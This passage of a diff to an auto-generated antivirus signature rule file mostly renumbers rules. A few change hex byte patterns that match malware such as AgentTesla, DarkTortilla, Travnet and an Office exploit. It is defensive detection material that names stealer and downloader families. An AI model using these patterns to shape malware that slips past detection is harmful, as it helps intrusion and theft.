1)*299+(#a_20_2 & 1)*29801) >=2 } -rule _InfrastructureShared_12376{ +rule _InfrastructureShared_13189{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -137805,7 +147004,7 @@ rule _InfrastructureShared_12376{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*-28477+(#a_00_2 & 1)*26835+(#a_43_3 & 1)*13824) >=2 } -rule _InfrastructureShared_12377{ +rule _InfrastructureShared_13190{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -137817,7 +147016,7 @@ rule _InfrastructureShared_12377{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*112+(#a_3a_2 & 1)*17744) >=3 } -rule _InfrastructureShared_12378{ +rule _InfrastructureShared_13191{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -137828,7 +147027,7 @@ rule _InfrastructureShared_12378{ ((#a_46_0 & 1)*16675+(#a_ff_2 & 1)*-343) >=3 } -rule _InfrastructureShared_12379{ +rule _InfrastructureShared_13192{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -137840,7 +147039,7 @@ rule _InfrastructureShared_12379{ ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1) >=3 } -rule _InfrastructureShared_12380{ +rule _InfrastructureShared_13193{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -137852,7 +147051,7 @@ rule _InfrastructureShared_12380{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*10250+(#a_09_2 & 1)*256) >=3 } -rule _InfrastructureShared_12381{ +rule _InfrastructureShared_13194{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -137864,7 +147063,7 @@ rule _InfrastructureShared_12381{ ((#a_54_0 & 1)*18467+(#a_26_1 & 1)*13360+(#a_57_2 & 1)*21058) >=3 } -rule _InfrastructureShared_12382{ +rule _InfrastructureShared_13195{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -137876,7 +147075,7 @@ rule _InfrastructureShared_12382{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*-32475+(#a_54_2 & 1)*30286) >=3 } -rule _InfrastructureShared_12383{ +rule _InfrastructureShared_13196{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -137888,7 +147087,7 @@ rule _InfrastructureShared_12383{ ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*28530+(#a_2e_2 & 1)*28528) >=3 } -rule _InfrastructureShared_12384{ +rule _InfrastructureShared_13197{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -137900,7 +147099,7 @@ rule _InfrastructureShared_12384{ ((#a_46_0 & 1)*16675+(#a_fb_2 & 1)*-29440+(#a_00_3 & 1)*3) >=3 } -rule _InfrastructureShared_12385{ +rule _InfrastructureShared_13198{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -137913,7 +147112,7 @@ rule _InfrastructureShared_12385{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*9284+(#a_90_2 & 1)*9284+(#a_65_3 & 1)*26998) >=3 } -rule _InfrastructureShared_12386{ +rule _InfrastructureShared_13199{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -137927,7 +147126,7 @@ rule _InfrastructureShared_12386{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25956+(#a_41_2 & 1)*16969+(#a_29_3 & 1)*9512+(#a_00_4 & 1)*30720) >=3 } -rule _InfrastructureShared_12387{ +rule _InfrastructureShared_13200{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -137941,7 +147140,7 @@ rule _InfrastructureShared_12387{ ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*-32488+(#a_72_2 & 1)*29811+(#a_32_3 & 1)*28265+(#a_70_4 & 1)*29801) >=3 } -rule _InfrastructureShared_12388{ +rule _InfrastructureShared_13201{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -137954,7 +147153,7 @@ rule _InfrastructureShared_12388{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*24951+(#a_2f_2 & 1)*13166+(#a_69_3 & 1)*22272) >=4 } -rule _InfrastructureShared_12389{ +rule _InfrastructureShared_13202{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -137967,7 +147166,7 @@ rule _InfrastructureShared_12389{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*28530+(#a_53_2 & 1)*14918+(#a_63_3 & 1)*19713) >=4 } -rule _InfrastructureShared_12390{ +rule _InfrastructureShared_13203{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -137980,7 +147179,7 @@ rule _InfrastructureShared_12390{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*26957+(#a_55_2 & 1)*14918+(#a_6d_3 & 1)*26740) >=4 } -rule _InfrastructureShared_12391{ +rule _InfrastructureShared_13204{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -137993,7 +147192,7 @@ rule _InfrastructureShared_12391{ ((#a_46_0 & 1)*16675+(#a_68_1 & 1)*11891+(#a_79_2 & 1)*21295+(#a_00_3 & 1)*84) >=4 } -rule _InfrastructureShared_12392{ +rule _InfrastructureShared_13205{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -138005,7 +147204,7 @@ rule _InfrastructureShared_12392{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*95+(#a_64_3 & 1)*11897) >=4 } -rule _InfrastructureShared_12393{ +rule _InfrastructureShared_13206{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -138017,7 +147216,7 @@ rule _InfrastructureShared_12393{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*90+(#a_64_3 & 1)*29029) >=4 } -rule _InfrastructureShared_12394{ +rule _InfrastructureShared_13207{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -138029,7 +147228,7 @@ rule _InfrastructureShared_12394{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*19557+(#a_32_2 & 1)*28265) >=4 } -rule _InfrastructureShared_12395{ +rule _InfrastructureShared_13208{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -138042,7 +147241,7 @@ rule _InfrastructureShared_12395{ ((#a_6c_0 & 1)*16675+(#a_25_1 & 1)*7168+(#a_25_2 & 1)*9587+(#a_6c_3 & 1)*20271) >=4 } -rule _InfrastructureShared_12396{ +rule _InfrastructureShared_13209{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -138056,7 +147255,7 @@ rule _InfrastructureShared_12396{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*17153+(#a_00_2 & 1)*5+(#a_54_3 & 1)*17996+(#a_01_4 & 1)*26707) >=4 } -rule _InfrastructureShared_12397{ +rule _InfrastructureShared_13210{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -138066,7 +147265,7 @@ rule _InfrastructureShared_12397{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_12398{ +rule _InfrastructureShared_13211{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -138080,7 +147279,7 @@ rule _InfrastructureShared_12398{ ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*26977+(#a_73_2 & 1)*29251+(#a_90_3 & 1)*400+(#a_05_4 & 1)*-28533) >=5 } -rule _InfrastructureShared_12399{ +rule _InfrastructureShared_13212{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -138094,7 +147293,7 @@ rule _InfrastructureShared_12399{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*30063+(#a_65_2 & 1)*25710+(#a_65_3 & 1)*25459+(#a_01_4 & 1)*30821) >=5 } -rule _InfrastructureShared_12400{ +rule _InfrastructureShared_13213{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -138108,7 +147307,7 @@ rule _InfrastructureShared_12400{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*25973+(#a_6a_2 & 1)*29268+(#a_63_3 & 1)*29807+(#a_20_4 & 1)*26478) >=5 } -rule _InfrastructureShared_12401{ +rule _InfrastructureShared_13214{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -138122,7 +147321,7 @@ rule _InfrastructureShared_12401{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*29295+(#a_6f_2 & 1)*30023+(#a_67_3 & 1)*27500+(#a_65_4 & 1)*24939) >=5 } -rule _InfrastructureShared_12402{ +rule _InfrastructureShared_13215{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -138136,7 +147335,7 @@ rule _InfrastructureShared_12402{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*28009+(#a_2f_2 & 1)*13166+(#a_61_3 & 1)*8293+(#a_00_4 & 1)*5) >=5 } -rule _InfrastructureShared_12403{ +rule _InfrastructureShared_13216{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -138149,7 +147348,7 @@ rule _InfrastructureShared_12403{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*30313+(#a_6f_2 & 1)*30023+(#a_67_3 & 1)*30067) >=5 } -rule _InfrastructureShared_12404{ +rule _InfrastructureShared_13217{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -138163,7 +147362,7 @@ rule _InfrastructureShared_12404{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29697+(#a_45_2 & 1)*29813+(#a_83_3 & 1)*400+(#a_44_4 & 1)*-16247) >=5 } -rule _InfrastructureShared_12405{ +rule _InfrastructureShared_13218{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -138177,7 +147376,7 @@ rule _InfrastructureShared_12405{ ((#a_46_0 & 1)*21283+(#a_90_1 & 1)*-29844+(#a_00_2 & 1)*144+(#a_00_3 & 1)*3841+(#a_68_4 & 1)*11876) >=5 } -rule _InfrastructureShared_12406{ +rule _InfrastructureShared_13219{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -138192,7 +147391,7 @@ rule _InfrastructureShared_12406{ ((#a_77_0 & 1)*16675+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_b2_4 & 1)*0+(#a_43_5 & 1)*29797) >=5 } -rule _InfrastructureShared_12407{ +rule _InfrastructureShared_13220{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -138207,7 +147406,7 @@ rule _InfrastructureShared_12407{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*29811+(#a_3a_2 & 1)*17748+(#a_54_3 & 1)*16722+(#a_3a_6 & 1)*19521+(#a_65_7 & 1)*25902) >=5 } -rule _InfrastructureShared_12408{ +rule _InfrastructureShared_13221{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -138219,7 +147418,7 @@ rule _InfrastructureShared_12408{ ((#a_4c_0 & 1)*21539+(#a_63_1 & 1)*28531+(#a_69_2 & 1)*29285) >=6 } -rule _InfrastructureShared_12409{ +rule _InfrastructureShared_13222{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -138234,7 +147433,7 @@ rule _InfrastructureShared_12409{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*4096+(#a_21_2 & 1)*12615+(#a_68_3 & 1)*24904+(#a_00_4 & 1)*21581+(#a_61_5 & 1)*8307) >=6 } -rule _InfrastructureShared_12410{ +rule _InfrastructureShared_13223{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -138249,7 +147448,7 @@ rule _InfrastructureShared_12410{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*17153+(#a_65_2 & 1)*24943+(#a_6a_3 & 1)*24864+(#a_6f_4 & 1)*-29176+(#a_6d_5 & 1)*17153) >=6 } -rule _InfrastructureShared_12411{ +rule _InfrastructureShared_13224{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -138264,7 +147463,7 @@ rule _InfrastructureShared_12411{ ((#a_54_0 & 1)*18467+(#a_76_1 & 1)*29541+(#a_73_2 & 1)*21620+(#a_74_3 & 1)*19828+(#a_72_4 & 1)*29795+(#a_00_5 & 1)*0) >=6 } -rule _InfrastructureShared_12412{ +rule _InfrastructureShared_13225{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -138280,7 +147479,7 @@ rule _InfrastructureShared_12412{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*19571+(#a_3a_2 & 1)*24938+(#a_61_3 & 1)*21505+(#a_01_4 & 1)*3840+(#a_74_5 & 1)*20015+(#a_01_6 & 1)*28793) >=7 } -rule _InfrastructureShared_12413{ +rule _InfrastructureShared_13226{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -138294,7 +147493,7 @@ rule _InfrastructureShared_12413{ ((#a_54_0 & 1)*18467+(#a_74_2 & 1)*21249+(#a_67_3 & 1)*12108+(#a_65_4 & 1)*29797+(#a_00_6 & 1)*0) >=7 } -rule _InfrastructureShared_12414{ +rule _InfrastructureShared_13227{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -138311,7 +147510,7 @@ rule _InfrastructureShared_12414{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*25933+(#a_62_2 & 1)*28487+(#a_00_3 & 1)*27507+(#a_78_4 & 1)*385+(#a_00_5 & 1)*10+(#a_6e_6 & 1)*27247+(#a_39_7 & 1)*14397) >=8 } -rule _InfrastructureShared_12415{ +rule _InfrastructureShared_13228{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -138326,7 +147525,7 @@ rule _InfrastructureShared_12415{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*3328+(#a_6f_2 & 1)*9768+(#a_2e_3 & 1)*14956+(#a_6d_4 & 1)*25405+(#a_00_6 & 1)*69) >=8 } -rule _InfrastructureShared_12416{ +rule _InfrastructureShared_13229{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -138337,7 +147536,7 @@ rule _InfrastructureShared_12416{ ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*30063) >=10 } -rule _InfrastructureShared_12417{ +rule _InfrastructureShared_13230{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -138348,7 +147547,7 @@ rule _InfrastructureShared_12417{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*104) >=12 } -rule _InfrastructureShared_12418{ +rule _InfrastructureShared_13231{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 05 00 21 " @@ -138361,7 +147560,7 @@ rule _InfrastructureShared_12418{ ((#a_4c_0 & 1)*21539+(#a_1b_2 & 1)*1546+(#a_61_3 & 1)*24909+(#a_44_4 & 1)*30575) >=12 } -rule _InfrastructureShared_12419{ +rule _InfrastructureShared_13232{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -138374,7 +147573,7 @@ rule _InfrastructureShared_12419{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*16761+(#a_6f_3 & 1)*23553+(#a_20_5 & 1)*1792) >=15 } -rule _InfrastructureShared_12420{ +rule _InfrastructureShared_13233{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 07 00 21 " @@ -138382,29 +147581,41 @@ rule _InfrastructureShared_12420{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 50 31 38 30 33 59 59 21 45 4d 4c 00 0a 00 07 01 20 00 14 01 00 5d 07 0a 00 2c 00 48 00 54 00 48 00 34 00 34 00 34 00 46 00 43 00 35 00 46 00 56 00 38 00 57 00 41 00 35 00 41 } //18467 $a_00_2 = {37 00 45 00 01 00 13 01 49 6e 69 74 69 61 6c 69 7a 65 43 6f 6d 70 6f 6e 65 6e 74 01 00 06 01 49 6e 76 6f 6b 65 01 00 07 01 52 65 70 6c 61 63 65 01 00 09 01 47 65 74 4d } //56 $a_6f_3 = {01 00 07 01 47 65 74 54 79 70 65 00 00 78 b2 00 00 10 00 10 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 51 63 21 4d 54 42 00 01 00 25 00 24 33 66 35 32 61 61 65 36 2d 30 31 37 33 2d 34 64 37 37 2d 39 62 39 65 2d 30 65 64 30 62 30 32 66 36 38 64 37 01 } //29797 - $a_78_5 = {6c 01 00 07 00 54 6f 57 69 6e 33 32 01 00 0c 00 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 0d 00 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 01 00 0e 00 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 0a 00 0c 02 20 00 64 00 00 8d 90 01 04 0b 90 00 00 00 78 b2 00 00 c9 00 c9 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d } //20596 - $a_2f_6 = {61 72 6b 54 6f 72 74 69 6c 6c 61 2e 52 50 41 47 21 4d 54 42 00 64 00 29 01 53 79 73 74 65 6d 2e 52 65 73 6f 75 72 63 65 73 00 57 69 6e 64 6f 77 73 41 70 70 31 2e 4d 79 2e 52 65 73 6f 75 72 63 65 73 64 00 37 01 57 69 6e 64 6f 77 } //18771 + $a_78_5 = {6c 01 00 07 00 54 6f 57 69 6e 33 32 01 00 0c 00 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 0d 00 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 01 00 0e 00 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 0a 00 0c 02 20 00 64 00 00 8d 90 01 04 0b 90 00 00 00 78 b2 00 00 19 00 19 00 04 00 21 23 53 4c 46 3a 45 78 70 6c 6f 69 74 3a } //20596 + $a_33_6 = {2f 4f 66 63 43 6c 6b 52 75 6e 2e 42 41 00 0a 00 38 00 43 00 32 00 52 00 43 00 6c 00 69 00 65 00 6e 00 74 00 41 00 50 00 49 00 5f 00 53 00 65 00 72 00 76 00 65 00 72 00 5f 00 53 00 79 00 73 00 74 00 65 00 6d 00 31 00 36 00 05 00 15 02 b1 89 ff 0f 66 c7 90 02 03 00 00 c7 90 02 03 00 00 00 00 90 00 05 00 16 02 b1 89 ff 0f c7 90 02 } //26967 condition: - ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*56+(#a_6f_3 & 1)*29797+(#a_78_5 & 1)*20596+(#a_2f_6 & 1)*18771) >=15 + ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*56+(#a_6f_3 & 1)*29797+(#a_78_5 & 1)*20596+(#a_33_6 & 1)*26967) >=15 } -rule _InfrastructureShared_12421{ +rule _InfrastructureShared_13234{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 51 63 21 4d 54 42 00 01 00 25 00 24 33 66 35 32 61 61 65 36 2d 30 31 37 33 2d 34 64 37 37 2d 39 62 39 65 2d 30 65 64 30 62 30 32 66 36 38 64 37 01 00 08 00 47 65 74 50 69 } //18467 - $a_01_1 = {00 07 00 54 6f 57 69 6e 33 32 01 00 0c 00 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 0d 00 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 01 00 0e 00 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 0a 00 0c 02 20 00 64 00 00 8d 90 01 04 0b 90 00 00 00 78 b2 00 00 c9 00 c9 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 } //25976 - $a_54_2 = {72 74 69 6c 6c 61 2e 52 50 41 47 21 4d 54 42 00 64 00 29 01 53 79 73 74 65 6d 2e 52 65 73 6f 75 72 63 65 73 00 57 69 6e 64 6f 77 73 41 70 70 31 2e 4d 79 2e 52 65 73 6f 75 72 63 65 73 64 00 37 01 57 69 6e 64 6f 77 73 41 70 70 31 2e 67 2e 72 65 73 6f 75 72 63 65 73 00 57 69 6e 64 6f 77 73 41 70 70 31 2e 52 65 73 6f 75 72 } //29281 - $a_2e_3 = {65 73 6f 75 72 63 65 73 01 00 15 80 01 57 69 6e 64 6f 77 73 41 70 70 31 2e 52 65 73 6f 75 72 63 65 73 00 00 78 b2 00 00 dc 00 dc 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 54 72 61 76 6e 65 74 2e 41 00 64 00 34 01 32 47 65 70 63 66 66 6b 25 3e 24 3a 2a 22 69 65 67 7a 6b 7e 63 68 66 6f 31 } //25955 - $a_43_4 = {2a 3c 24 3a 31 2a 5d 63 64 6e 65 7d 79 2a 44 5e 2a 3f 24 3b 23 38 64 00 20 01 1d 5c 40 40 44 0e 1b 1b 02 02 1a 06 06 0c 1a 05 07 06 1a 0c 1b 5d 5a 50 51 4c 1a 5c 40 59 29 00 0a 00 0e 01 05 40 74 72 6e 77 04 00 04 fa f7 f7 e4 de 0a 00 0e 01 0c 51 4c 40 40 4d 29 22 2e } //18218 - $a_21_5 = {00 00 0a 00 78 b3 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 4d 53 49 4c 2f 41 67 65 6e 74 2e 4d } //14629 - $a_4d_6 = {42 00 01 00 8e 02 13 0c 11 0c 6f 90 01 04 13 0d 11 0d 17 9a 6f 90 01 04 13 0e 73 90 01 04 13 0f 1f } //21317 + $a_01_1 = {00 07 00 54 6f 57 69 6e 33 32 01 00 0c 00 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 0d 00 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 01 00 0e 00 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 0a 00 0c 02 20 00 64 00 00 8d 90 01 04 0b 90 00 00 00 78 b2 00 00 19 00 19 00 04 00 21 23 53 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 } //25976 + $a_63_2 = {6c 6b 52 75 6e 2e 42 41 00 0a 00 38 00 43 00 32 00 52 00 43 00 6c 00 69 00 65 00 6e 00 74 00 41 00 50 00 49 00 5f 00 53 00 65 00 72 00 76 00 65 00 72 00 5f 00 53 00 79 00 73 00 74 00 65 00 6d 00 31 00 36 00 05 00 15 02 b1 89 ff 0f 66 c7 90 02 03 00 00 c7 90 02 03 00 00 00 00 90 00 05 00 16 02 b1 89 ff 0f } //20271 + $a_03_3 = {00 00 } //-28473 + $a_90_4 = {03 00 00 00 00 90 00 0a 00 16 02 00 02 00 00 c7 90 02 03 01 00 00 00 c7 90 02 03 05 00 00 00 90 00 00 00 78 b2 00 00 c9 00 c9 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 61 72 6b 54 6f 72 74 69 6c 6c 61 2e 52 50 41 47 21 4d 54 42 00 64 00 29 01 53 79 73 74 65 6d 2e 52 65 73 6f 75 72 63 65 73 00 57 69 6e 64 6f 77 73 41 70 70 31 2e 4d 79 2e 52 65 73 6f 75 72 63 65 73 64 00 37 01 57 69 6e 64 6f 77 73 41 70 70 31 2e 67 2e 72 65 73 6f 75 72 63 65 73 00 57 69 6e 64 6f 77 73 41 70 70 31 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 15 80 01 57 69 6e 64 6f } //0 + $a_70_5 = {31 2e 52 65 73 6f 75 72 63 65 73 00 00 78 b2 00 00 dc 00 dc 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 54 72 61 76 6e 65 74 2e 41 00 64 00 } //29559 + $a_47_6 = {70 63 66 66 6b 25 3e 24 3a 2a 22 69 65 67 7a 6b 7e 63 68 66 6f 31 2a 47 59 43 4f 2a 3c 24 3a 31 2a 5d 63 64 6e 65 7d 79 2a 44 5e 2a 3f 24 3b 23 38 64 } //308 pcffk%>$:*"iegzk~chfo1*GYCO*<$:1*]cdne}y*D^*?$;#8d condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25976+(#a_54_2 & 1)*29281+(#a_2e_3 & 1)*25955+(#a_43_4 & 1)*18218+(#a_21_5 & 1)*14629+(#a_4d_6 & 1)*21317) >=16 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25976+(#a_63_2 & 1)*20271+(#a_03_3 & 1)*-28473+(#a_90_4 & 1)*0+(#a_70_5 & 1)*29559+(#a_47_6 & 1)*308) >=16 } -rule _InfrastructureShared_12422{ +rule _InfrastructureShared_13235{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 04 00 21 " + + strings : + $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 4f 66 63 43 6c 6b 52 75 6e 2e 42 41 00 0a 00 38 00 43 00 32 00 52 00 43 00 6c 00 69 00 65 00 6e 00 74 00 41 00 50 00 49 00 5f 00 53 00 65 00 72 00 76 00 65 00 72 00 5f 00 53 00 79 00 73 } //21283 + $a_00_2 = {36 00 05 00 15 02 b1 89 ff 0f 66 c7 90 02 03 00 00 c7 90 02 03 00 00 00 00 90 00 05 00 16 02 b1 89 ff 0f c7 90 02 03 00 00 00 00 c7 90 02 03 00 00 } //109 + $a_00_3 = {0a 00 16 02 00 02 00 00 c7 90 02 03 01 00 00 00 c7 90 02 03 05 00 00 00 90 00 00 00 78 b2 00 00 c9 00 c9 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 61 72 6b 54 6f 72 74 69 6c 6c 61 2e 52 50 41 47 21 4d 54 42 00 64 00 29 01 53 79 73 74 65 6d 2e 52 65 73 6f 75 72 63 65 73 00 57 69 6e 64 6f 77 73 41 70 70 31 2e 4d 79 2e 52 65 73 6f 75 72 63 65 73 64 00 37 01 57 69 6e 64 6f 77 73 41 70 70 31 2e 67 2e 72 65 73 } //0 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*109+(#a_00_3 & 1)*0) >=25 + +} +rule _InfrastructureShared_13236{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc9 00 ffffffc9 00 03 00 21 " @@ -138416,7 +147627,7 @@ rule _InfrastructureShared_12422{ ((#a_4c_0 & 1)*21539+(#a_73_1 & 1)*21038+(#a_48_2 & 1)*8448) >=201 } -rule _InfrastructureShared_12423{ +rule _InfrastructureShared_13237{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffdc 00 ffffffdc 00 04 00 21 " @@ -138429,7 +147640,7 @@ rule _InfrastructureShared_12423{ ((#a_54_0 & 1)*18467+(#a_24_1 & 1)*10846+(#a_29_2 & 1)*16448+(#a_04_3 & 1)*-28531) >=220 } -rule _InfrastructureShared_12424{ +rule _InfrastructureShared_13238{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -138439,7 +147650,7 @@ rule _InfrastructureShared_12424{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_12425{ +rule _InfrastructureShared_13239{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -138449,7 +147660,7 @@ rule _InfrastructureShared_12425{ 